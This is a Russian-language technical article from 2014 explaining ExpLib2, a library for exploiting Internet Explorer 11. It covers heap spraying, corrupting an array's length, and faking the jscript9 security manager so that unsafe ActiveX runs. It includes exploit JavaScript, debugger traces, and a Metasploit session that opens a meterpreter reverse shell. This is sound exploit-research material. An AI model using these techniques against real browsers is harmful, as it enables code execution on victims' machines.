29.07.2014

Облегченная разработка эксплоитов при помощи библиотеки ExpLib2

image

За последнее время методики использования уязвимостей, связанных со сбоями памяти (memory corruption), существенно изменились. С появлением современных средств защиты, таких как GS, SafeSEH, SEHOP, DEP, ASLR/FASLR, EAF+, ASR, защиты VTable, рандомизации памяти и sealed-классов разработка эксплоитов значительно усложнилась.

Авторы: Вэй Чен (Wei Chen) aka sinn3r и Хуан Васкес (Juan Vazquez)

За последнее время методики использования уязвимостей, связанных со сбоями памяти (memory corruption), существенно изменились. С появлением современных средств защиты, таких как GS, SafeSEH, SEHOP, DEP, ASLR/FASLR, EAF+, ASR, защиты VTable, рандомизации памяти и sealed-классов разработка эксплоитов значительно усложнилась. Забавно наблюдать исследователями, которые ищут уязвимости нулевого дня, пытаясь превратить крэш типа use-after-free в рабочий эксплоит. Глядя со стороны на все это, ощущаешь себя на соревнованиях по кунг-фу: удар ногой, подсечка, хук слева, хук справа. И, самое интересное, что так происходит на самом деле.

Несмотря на все причуды современных методик написания эксплоитов, специалист по безопасности Юки Чен (его методики разработки эксплоитов можно сравнить со стилем Брюса Ли) использовал другой подход. Как известно, Брюс Ли исповедовал философию простоты. Вот одно из его изречений:

«Ежедневно избавляйтесь от всего несущественного».

Юки Чен не хотел использовать EAF, DEP, шеллкоды и тому подобные вещи. Вместо этого он предложил более прямолинейную и менее трудозатратную методику, реализовав библиотеку ExpLib2. К сожалению, среди специалистов по безопасности его работа осталась практически незамеченной, и цель данной статьи – рассказать во всех подробностях об ExpLib2, чтобы подогреть интерес общественности.

ExpLib2 – библиотека, в сущности облегчающая написание эксплоитов для браузера Internet Explorer. Перед ее использованием у вас уже должна быть информация об уязвимости, связанной с произвольной записью в память (arbitrary write). Далее вы будете использовать эту брешь для изменения длины массива в памяти, а в библиотеке будете задавать местонахождение массива и полезную нагрузку, которую необходимо запустить. Чтобы вы примерно представляли объем кода будущего эксплоита, рассмотрим следующий пример:

  1. function modifyArray() {
  2. // Use your bug and modify the array here
  3. // For testing, we do: ed 1a1b3000+18 400
  4. }
  5. function example() {
  6. var num_arrays = 98688;
  7. var arr_size = (0x1000 - 0x20)/4;
  8. var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') );
  9. explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); // There is a default one too
  10. explib.spray();
  11. modifyArray();
  12. explib.go(); // Code execution
  13. }

Функция go() из библиотеки ExpLib2 будет использовать информацию, инициализированную вами, и объекты утечки для того, чтобы определить местонахождение менеджера безопасности. Затем будет сделана копия и модификация менеджера (вместе с другими необходимыми функциями). После того как отработает поддельный менеджер безопасности, будет запущена полезная нагрузка в привилегированном режиме. В этом и заключается основная суть всей техники, кратко описанной в статье «Exploit IE Using Scriptable ActiveX Controls». Давайте рассмотрим во всех подробностях данный трюк.

Техника Heap Spraying

Как видно из предыдущего примера, массив «распыляется» в куче. Heap spraying – весьма распространенная техника для размещения чего-либо в предсказуемом месте в памяти. При этом ExpLib2 может модифицировать этот участок памяти, чтобы произошла утечка. С массивами в JavaScript работать намного проще, поскольку в памяти нет никакой рандомизации или каких-то других проблем, связанных с выравниванием. Дополнительно по этой теме можно посмотреть презентацию The Art of Leaks: The Return of Heap Feng Shui, где объясняется о распылении массивов в JavaScript.

Следующая функция, используемая в ExpLib2, как раз отвечает за распыление массива. Рассмотрим алгоритм ее работы:

  1. ExpLib.prototype.spray = function() {
  2. this.arr_arr = new Array( num_arrays );
  3. var decl = "[";
  4. for ( var i = 0; i < this.arr_size - 1; ++ i ) {
  5. decl += '0,';
  6. }
  7. decl += '0';
  8. decl += ']';
  9. for ( var i = 0; i < num_arrays; ++ i ) {
  10. this.arr_arr[i] = eval(decl);
  11. for(var j = 0; j < this.arr_contents.length; j++) {
  12. this.arr_arr[i][j] = this.arr_contents[j];
  13. }
  14. }
  15. }

Перед использованием функции spray() необходимо инициализировать ExpLib2. Мы создаем массив из 20 элементов. Размер каждого элемента - (0x1000 - 0x20) /4 (подробнее об этом позже). Кроме того, мы хотим, чтобы один из элементов массива хранился по адресу 0x1a1b3000.

  1. var explib = new ExpLib( 20, (0x1000 - 0x20)/4 , 0x1a1b3000, new payload_exec('calc') );
  2. explib.spray();

После запуска функции spray() начинается «распыление» массива. В начале все его элементы заполняются нулями.

  1. var decl = "[";
  2. for ( var i = 0; i < this.arr_size - 1; ++ i ) {
  3. decl += '0,';
  4. }
  5. decl += '0';
  6. decl += ']';

Как было сказано выше, размер каждого элемента - (0x1000 - 0x20) / 4. Массив создается в функции Js::InterpreterStackFrame::OP_ProfiledNewScIntArray, принадлежащей библиотеке Jscript9.dll:

  1. int __thiscall Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>(int this, int a2)
  2. {
  3. .......
  4. if ( v8 )
  5. {
  6. v9 = *v8;
  7. if ( !(v9 & 1) )
  8. {
  9. // Js::JavascriptLibrary::CreateNativeIntArrayLiteral(uint)
  10. v10 = Js::JavascriptLibrary::CreateNativeIntArrayLiteral(*v5);
  11. // Js::JavascriptOperators::AddIntsToArraySegment(Js::SparseArraySegment<int> *,Js::AuxArray<int> const *)
  12. Js::JavascriptOperators::AddIntsToArraySegment();
  13. ........

При вызове функции Js::JavascriptLibrary::CreateNativeIntArrayLiteral() инициализируется объект Js::JavascriptnativeIntArray object и выделяется место для хранения данных. При вызове функции Js::JavascriptOperators::AddIntsToArraySegment() массив заполняется пользовательской информацией (в данном случае – пустыми значениями).

Вначале давайте рассмотрим повнимательнее функцию Js::JavascriptLibrary::CreateNativeIntArrayLiteral(). В библиотеке Jscript9 есть разные типы массивов: целые, с плавающей точкой и т. д. Судя по имени вышеупомянутой функции, создается «Native Int Array Literal», которому соответствует различные типы массивов. Однако все они наследуются от Js::DynamicObject:

Рисунок 1: Схема наследования типа массива

JavascriptNativeIntArray размещается в памяти следующим образом:

Рисунок 2: Схема размещения массива в памяти

Затем при помощи встроенного аллокатора библиотеки Jscript9 выделяется место под массив. Для массивов, используемых в ExpLib2, если они достаточно крупны, процесс выделения происходит через класс LargeHeapBlock:

  1. 0:007> g
  2. Breakpoint 3 hit
  3. eax=0000018c ebx=00000ff0 ecx=0258aa98 edx=0254cb8c esi=00000ff0 edi=0254f344
  4. eip=68be0594 esp=0344aef8 ebp=0344af1c iopl=0 nv up ei pl nz na po nc
  5. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
  6. jscript9!LargeHeapBlock::Alloc:
  7. 68be0594 8bff mov edi,edi
  8. 0:007> kb
  9. ChildEBP RetAddr Args to Child
  10. 0344aef4 68d03a7f 00000ff0 00000000 000003f8 jscript9!LargeHeapBlock::Alloc
  11. 0344af1c 68d03979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0xe1
  12. 0344af34 68d039f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
  13. 0344af4c 68d039b2 000003f8 000003f8 02925100 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
  14. 0344af80 68bc3a24 02548a78 02f69010 0344afc0 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
  15. 0344af90 68c4a9b5 000003f8 0344b3d0 02546f58 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a

Вначале функция LargeHeapBlock::Alloc проверяет, достаточно ли места под массив, которое складывается из двух составляющих: размера данных и размера заголовка (0x10). Если места хватает, то возвращается указатель на место в памяти, где будет храниться массив. Затем будет изменяться позиция следующего доступного пространства.

  1. .text:1006059D mov ecx, [ebp+arg_0] ; Запрос на размещение
  2. .text:100605A0 push edi
  3. .text:100605A1 mov ebx, [esi+1Ch] ; Необходимое пространство
  4. .text:100605A4 lea edi, [ebx+10h] ; Размер заголовка: 0x10
  5. .text:100605A7 lea eax, [ecx+edi] ; EAX = общее необходимое пространство
  6. .text:100605AA cmp eax, [esi+20h] ; Сравнение доступного объма памяти с размещаемым объемом LargeHeapBlock
  7. .text:100605AD ja loc_10060808
  8. .text:100605B3 cmp eax, edi
  9. .text:100605B5 jb loc_10060808
  10. .text:100605BB mov dl, [ebp+arg_4]
  11. .text:100605BE mov [esi+1Ch], eax ; 0x1c хранит новый указатель на доступное пространство для размещения
  12. .text:100605C1 mov eax, [esi+14h]
  13. .text:100605C4 mov [ebx+4], ecx
  14. .text:100605C7 mov [ebx], eax
  15. .text:100605C9 mov eax, edi ; Указатель на память для хранения данных

В конце концов, запрос на размещение добирается до функции VirtualAlloc через JavaScript PageAllocator. В следующем примере демонстрируется размещение размера 0x20000:

  1. 0:004> kb 10
  2. ChildEBP RetAddr Args to Child
  3. 0365b190 6b530184 00201000 00000004 02789410 jscript9!Segment::Initialize+0x31
  4. 0365b1a8 6b530122 00000000 02789410 0365b1d4 jscript9!PageAllocator::AllocPageSegment+0x34
  5. 0365b1b8 6b5300fa 02789414 0365b22c 02789410 jscript9!PageAllocator::AddPageSegment+0x14
  6. 0365b1d4 6b4d97d2 00000004 0365b20c 00000000 jscript9!PageAllocator::SnailAllocPages+0x3d
  7. 0365b1ec 6b4d98c1 00000004 0365b20c 02789410 jscript9!PageAllocator::AllocPages+0x3d
  8. 0365b204 6b5306e6 0365b22c 0365b224 00000000 jscript9!PageAllocator::Alloc+0x1d
  9. 0365b230 6b530880 00000ff0 0278fcd4 0365b260 jscript9!LargeHeapBucket::AddLargeHeapBlock+0x5d
  10. 0365b240 6b53085e 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::TryAllocFromNewHeapBlock+0xe
  11. 0365b260 6b67408d 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::SnailAlloc+0x3e
  12. 0365b28c 6b653979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0x10f
  13. 0365b2a4 6b6539f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
  14. 0365b2bc 6b6539b2 000003f8 000003f8 02f146a0 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
  15. 0365b2f0 6b513a24 02789408 0307d020 0365b330 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
  16. 0365b300 6b59a9b5 000003f8 0365b740 027878b0 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a
  17. 0365b330 6b59a92a 031ee480 027878b0 031ee480 jscript9!Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>+0x72
  18. 0365b738 6b4e0aa3 02efa550 031ee480 02efa540 jscript9!Js::InterpreterStackFrame::Process+0x472a

Если размещение прошло удачно, не должно быть никаких рандомизаций памяти. Другие исследователи, например Yuki и @Ga1ois, довольно часто утверждают то же самое.

Теперь рассмотрим повнимательнее содержимое массива. Помните, ранее мы говорили о том, что размер каждого элемента - (0x1000 - 0x20 / 4). При создании массива мы должны учитывать две вещи: размер заголовка размещения и заголовка массива. Каждый из них занимает 0х10 байт. Именно поэтому в нашей формуле фигурирует значение 0х20. В итоге мы размещаем выровненные участки размером 0x1000 байт при помощи LargeHeapBlock. Каждый массив выглядит следующим образом:

Рисунок 3: Структура размещения в памяти

Некоторые интересные формулы:

  • Заголовок размещения + 0x4 = Размер размещения.
  • Заголовок массива + 0x4 = Длина массива.
  • Заголовок массива + 0x8 = Длина массива.
  • Структура размещения данных массиве указана здесь.

На этом мы заканчиваем объяснение техники heap spraying и переходим к конкретным примерам.

Обход режима Safe Mode в Internet Explorer 11

Как говорилось ранее, техника Юки Чена не требует использования ROP (Return-oriented programming), VirtualProtect, NtContinue, шеллкода и т. п. От вас требуется лишь добиться сбоя памяти для модификации массива, который вы «распыляете». Что же конкретно нужно изменить, спросите вы? При перезаписи поля длины массива, находящегося в заголовке, становится возможным читать и записывать все, что угодно, за пределами массива. Воспользовавшись этой возможностью, Юки Чену удалось отключить безопасный режим в Internet Explorer и запустить небезопасный ActiveX:

  1. var WshShell = new ActiveXObject("WScript.shell");
  2. oExec = WshShell.Exec('calc.exe')

При помощи этой утечки ExpLib2 раскрывает адрес объекта ScriptEngine и находит адрес менеджера безопасности по смещению 0x21:

  1. var original_securitymanager = this.read32( script_engine_addr + 0x21c );

Даже несмотря на то, что менеджер безопасности является объектом, не обязательно брать в расчет его символы. В vtable присутствуют стандартные методы QueryInterface, AddRef, Release и другие, которые на первый взгляд выглядят скрытыми. Пример можно посмотреть здесь. Мы можем убедиться в том, что это действительно менеджер безопасности, если исследуем функцию ScriptSite::CreateObjectFromProgID, используемую для создания объекта ActiveX.

  1. signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
  2. {
  3. ....
  4. if ( a3 )
  5. pvReserved = &v13;
  6. if ( ScriptEngine::InSafeMode(*((_DWORD *)this + 1), (int)&v19) < 0 )
  7. return -2146827859;
  8. v5 = v19 ? CLSIDFromProgID(lpszProgID, &clsid) : CLSIDFromProgIDEx(lpszProgID, &clsid);
  9. if ( v5 < 0 || !ScriptEngine::CanCreateObject(*((_DWORD *)v4 + 1), (int)&clsid) )
  10. return -2146827859;
  11. v6 = 5;
  12. if ( a3 )
  13. {
  14. if ( *(_DWORD *)(*((_DWORD *)v4 + 20) + 1164) >= 3 || v19 )
  15. return -2146827859;
  16. v6 = 16;
  17. }
  18. if ( CoGetClassObject(&clsid, v6, pvReserved, &IID_IClassFactory, &ppv) < 0 )
  19. return -2146827859;
  20. v7 = (**(int (__stdcall ***)(LPVOID, GUID *, int *))ppv)(ppv, &IID_IClassFactoryEx, &v20) < 0;
  21. v8 = *(_DWORD *)ppv;
  22. if ( v7 )
  23. {
  24. v9 = (*(int (__stdcall **)(LPVOID, _DWORD, GUID *, int))(v8 + 12))(ppv, 0, &IID_IUnknown, a4);
  25. (*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);
  26. if ( v9 >= 0 )
  27. {
  28. LABEL_11:
  29. if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
  30. return v9;
  31. (*(void (__stdcall **)(_DWORD))(**(_DWORD **)a4 + 8))(*(_DWORD *)a4);
  32. *(_DWORD *)a4 = 0;
  33. return -2146827859;
  34. }
  35. }
  36. else
  37. {
  38. (*(void (__stdcall **)(LPVOID))(v8 + 8))(ppv);
  39. pvReserved = 0;
  40. v11 = SiteService::Create(&pvReserved, v4);
  41. v12 = pvReserved;
  42. v9 = v11;
  43. if ( v11 >= 0 )
  44. {
  45. v9 = (*(int (__stdcall **)(int, LPVOID, _DWORD, GUID *, int))(*(_DWORD *)v20 + 20))(
  46. v20,
  47. pvReserved,
  48. 0,
  49. &IID_IUnknown,
  50. a4);
  51. if ( v9 >= 0 )
  52. {
  53. (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
  54. SiteService::Release(v12);
  55. goto LABEL_11;
  56. }
  57. }
  58. (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
  59. if ( v12 )
  60. SiteService::Release(v12);
  61. }
  62. return v9;
  63. }

Первое, на что нужно обратить внимание, - вызов функции ScriptEngine::CanCreateObject. Внутри нее происходит вызов ScriptEngine::GetSiteHostSecurityManagerNoRef() с аргументом (var_4), в котором хранится менеджер безопасности.

  1. 6c128362 8d45fc lea eax,[ebp-4]
  2. 6c128365 8bce mov ecx,esi
  3. 6c128367 50 push eax
  4. 6c128368 e844000000 call jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (6c1283b1)

Функция ScriptEngine::GetSiteHostSecurityManagerNoRef вытаскивает менеджер безопасности по смещению 0x21 (ранее мы уже упоминали, что в ExpLib2 как раз используется это смещение):

  1. 6c1283d5 8d9f1c020000 lea ebx,[edi+21Ch] ; Вытаскиваем SecurityManager из ScriptEngine
  2. 6c1283db 3933 cmp dword ptr [ebx],esi
  3. 6c1283dd 7412 je jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x40 (6c1283f1)
  4. 6c1283df 8b4d08 mov ecx,dword ptr [ebp+8]
  5. 6c1283e2 8b03 mov eax,dword ptr [ebx]
  6. 6c1283e4 5b pop ebx
  7. 6c1283e5 8901 mov dword ptr [ecx],eax ; Сохраняем ссылку на SecurityManager в var_4
  8. 6c1283e7 8bc6 mov eax,esi
  9. 6c1283e9 5f pop edi
  10. 6c1283ea 5e pop esi
  11. 6c1283eb 8be5 mov esp,ebp
  12. 6c1283ed 5d pop ebp
  13. 6c1283ee c20400 ret 4

Мы можем еще раз проверить, что по смещению 0x21 находится менеджер безопасности, если поставим точку останова по адресу 0x6c1283d5 (там находится инструкция «lea ebx, [edi+21Ch]»).

  1. Breakpoint 2 hit
  2. eax=035ab150 ebx=035ab1dc ecx=0462eb98 edx=00000020 esi=00000000 edi=029b1dd8
  3. eip=6c1283d5 esp=035ab12c ebp=035ab13c iopl=0 nv up ei pl nz na po nc
  4. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
  5. jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x24:
  6. 6c1283d5 8d9f1c020000 lea ebx,[edi+21Ch]

В регистре EDI должна храниться ссылка на объект ScriptEngine:

  1. 0:007> ln poi(edi)
  2. (6bfc2298) jscript9!ScriptEngine::`vftable' | (6c03d878) jscript9!`string'
  3. Exact matches:
  4. jscript9!ScriptEngine::`vftable' = <no type information>

По адресу EDI+0x21c находится указатель 0x68decd98 (этот лог из другой отладочной сессии, но смысл от этого не меняется):

  1. 0:007> dds poi(edi+21c) L1
  2. 00359c90 68decd98 MSHTML!s_apfnPlainTearoffVtable

Если мы посмотрим, на что указывает найденный указатель, то увидим «замаскированный» vtable, найденный ранее, который подтверждает, что это действительно менеджер безопасности.

  1. 0:007> dds poi(poi(edi+21c))
  2. 68decd98 67fb87d7 MSHTML!PlainQueryInterface
  3. 68decd9c 67fad535 MSHTML!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::AddRef
  4. 68decda0 67faa906 MSHTML!PlainRelease
  5. 68decda4 681efba2 MSHTML!TearoffThunk3
  6. 68decda8 681b6f2b MSHTML!TearoffThunk4
  7. 68decdac 681b6efc MSHTML!TearoffThunk5
  8. 68decdb0 681bc2d9 MSHTML!TearoffThunk6
  9. 68decdb4 680f0bfd MSHTML!TearoffThunk7
  10. 68decdb8 681b7ecd MSHTML!TearoffThunk8
  11. 68decdbc 681f4109 MSHTML!TearoffThunk9
  12. 68decdc0 681c5978 MSHTML!TearoffThunk10
  13. 68decdc4 68110cf1 MSHTML!TearoffThunk11
  14. 68decdc8 68093831 MSHTML!TearoffThunk12
  15. 68decdcc 68455c0d MSHTML!TearoffThunk13
  16. 68decdd0 68322ce5 MSHTML!TearoffThunk14
  17. 68decdd4 681f4612 MSHTML!TearoffThunk15
  18. 68decdd8 683ea4cb MSHTML!TearoffThunk16
  19. 68decddc 681f56e8 MSHTML!TearoffThunk17
  20. 68decde0 683ec3c5 MSHTML!TearoffThunk18
  21. 68decde4 6846194c MSHTML!TearoffThunk19
  22. 68decde8 68212c40 MSHTML!TearoffThunk20
  23. 68decdec 68213049 MSHTML!TearoffThunk21
  24. 68decdf0 683e5d5a MSHTML!TearoffThunk22
  25. 68decdf4 683e50c1 MSHTML!TearoffThunk23
  26. 68decdf8 683c9755 MSHTML!TearoffThunk24
  27. 68decdfc 68209511 MSHTML!TearoffThunk25
  28. 68dece00 6848ab0e MSHTML!TearoffThunk26
  29. 68dece04 68408a2f MSHTML!TearoffThunk27
  30. 68dece08 68484220 MSHTML!TearoffThunk28
  31. 68dece0c 684b8d55 MSHTML!TearoffThunk29
  32. 68dece10 684b8f75 MSHTML!TearoffThunk30
  33. 68dece14 68417220 MSHTML!TearoffThunk31

Вернемся к ExpLib2. После того как найден менеджер безопасности (потом находится базовый адрес, начало и конец кода и т. д.), делается его копия. Затем ExpLib2 создает поддельный менеджер безопасности, модифицируя его vtable, после чего в ScriptEngine изменяется ссылка (по смещению 0x21), которая теперь указывает на новую версию менеджера. Именно так мы заставляем Internet Explorer запустить наш небезопасный ActiveX.

Однако это еще не все. ExpLib2 должен изменить две виртуальные функции в поддельном менеджере безопасности следующим образом:

  1. /* mov esp, ebp; pop ebp; ret 8; */
  2. this.write32( fake_securitymanager_vtable + 0x14,
  3. this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) );
  4. /* mov esp, ebp; pop ebp; ret 4; */
  5. this.write32( fake_securitymanager_vtable + 0x10,
  6. this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) );

Эти два патча имеют отношение к типу полезной нагрузки. Первый патч используется для полезной нагрузки типа execute. Второй – для полезной нагрузки типа drop-and-execute. Рассмотрим поподробнее первый патч.

Для начала поставим точку останова на первоначальную виртуальную функцию, чтобы понять, зачем нужно ее патчить. После срабатывания точки останова выше по стеку должна находиться функция ScriptEngine::CanObjectRun():

  1. 0:007> g
  2. Breakpoint 2 hit
  3. eax=00359c90 ebx=00000000 ecx=68decd98 edx=027ab6a0 esi=027ab734 edi=027ab6c4
  4. eip=681b6efc esp=027ab670 ebp=027ab6e0 iopl=0 nv up ei pl zr na pe nc
  5. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  6. MSHTML!TearoffThunk5:
  7. 681b6efc 8b542404 mov edx,dword ptr [esp+4] ss:0023:027ab674=909c3500
  8. 0:007> kb 5
  9. ChildEBP RetAddr Args to Child
  10. 027ab66c 66965d46 00359c90 66965d84 027ab6a0 MSHTML!TearoffThunk5
  11. 027ab6e0 66965bd1 027ab724 012a34cc 00000002 jscript9!ScriptEngine::CanObjectRun+0x89
  12. 027ab73c 66965a86 01c6afe0 00000000 027ab76c jscript9!ScriptSite::CreateObjectFromProgID+0xfd
  13. 027ab788 66965a03 01c6afe0 00000000 012f79c8 jscript9!ScriptSite::CreateActiveXObject+0x51
  14. 027ab7b8 66826f21 01df74c0 01000002 00000000 jscript9!JavascriptActiveXObject::NewInstance+0x99

После пошагового прохождения программы мы понимаем, что необходимо изменить виртуальную функцию по смещению 0x14 для корректного выполнения вызова CanObjectRun, позволяющего успешно вернуться из функции CreateObjectFromProgID и, в конечном счете, создать ActiveXObject без каких-либо проблем.

  1. signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
  2. ...
  3. if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
  4. return v9;

Подводя итоги, следует сказать, что Юки Чен проделал хорошую работу. Ему удалось запустить код в Internet Explorer 11 без особых проблем и обхода механизмов защиты памяти.

Пример модуля для Metasploit

Библиотека ExpLib2 встроена в Metasploit. В качестве примера, можно поиграться с двумя тестовыми модулями:

Каждый модуль заточен по конкретный тип полезной нагрузки (execute или drop-and-execute). Нам больше нравится модуль explib2_ie11_drop_exec_test_case, поскольку он позволяет открыть meterpreter-сессию, поэтому мы будем рассматривать его. Вначале сделайте его доступным для загрузки фреймворком. Затем введите команду:

  1. > use exploit/windows/browser/explib2_ie11_drop_exec_test_case
  2. msf exploit(explib2_ie11_drop_exec_test_case) > exploit
  3. [*] Exploit running as background job.
  4. [*] Started reverse handler on 0.0.0.0:4444
  5. [*] Using URL: http://0.0.0.0:8080/tGd8X1dZBBosQ92
  6. [*] Local IP: http://10.6.0.136:8080/tGd8X1dZBBosQ92
  7. [*] Server started.

Посетите страницу из Windows 7 SP1 / IE11, после чего появится окно с предложением запустить команду «ed». При этом будет использоваться уязвимость для перезаписи длины массива. Вам следует подцепить WinDBG к iexplore.exe и запустить команду ed:

  1. ed 1a1b3000+18 400

Далее можно выполнить команду «g» для продолжения процесса, либо выполнить команду «.detach». Затем кликните на сообщение, после чего ExpLib2 выполнить свою работу, а вы увидите лог сессии подобно этой:

  1. msf exploit(explib2_ie11_drop_exec_test_case) >
  2. [*] 10.6.0.136 explib2_ie11_drop_exec_test_case - Gathering target information.
  3. [*] 10.6.0.136 explib2_ie11_drop_exec_test_case - Sending response HTML.
  4. [*] Sending stage (769536 bytes) to 10.6.0.136
  5. [*] Meterpreter session 1 opened (10.6.0.136:4444 -> 10.6.0.136:50719) at 2014-03-28 11:06:41 -0500
  6. msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1
  7. [*] Starting interaction with 1...
  8. meterpreter > getuid
  9. Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
  10. meterpreter > sysinfo
  11. Computer : WIN-RNJ7NBRK9L7
  12. OS : Windows 7 (Build 7601, Service Pack 1).
  13. Architecture : x86
  14. System Language : en_US
  15. Meterpreter : x86/win32

Если захотите поработать с библиотекой ExpLib2 в Metasploit, обновите репозиторий. Ознакомиться с документаций по разработке можно в Metasploit Development Environment wiki. Тонны эксплоитов, post-модулей и т. п. совершенно бесплатно можно взять здесь.  

comments powered by Disqus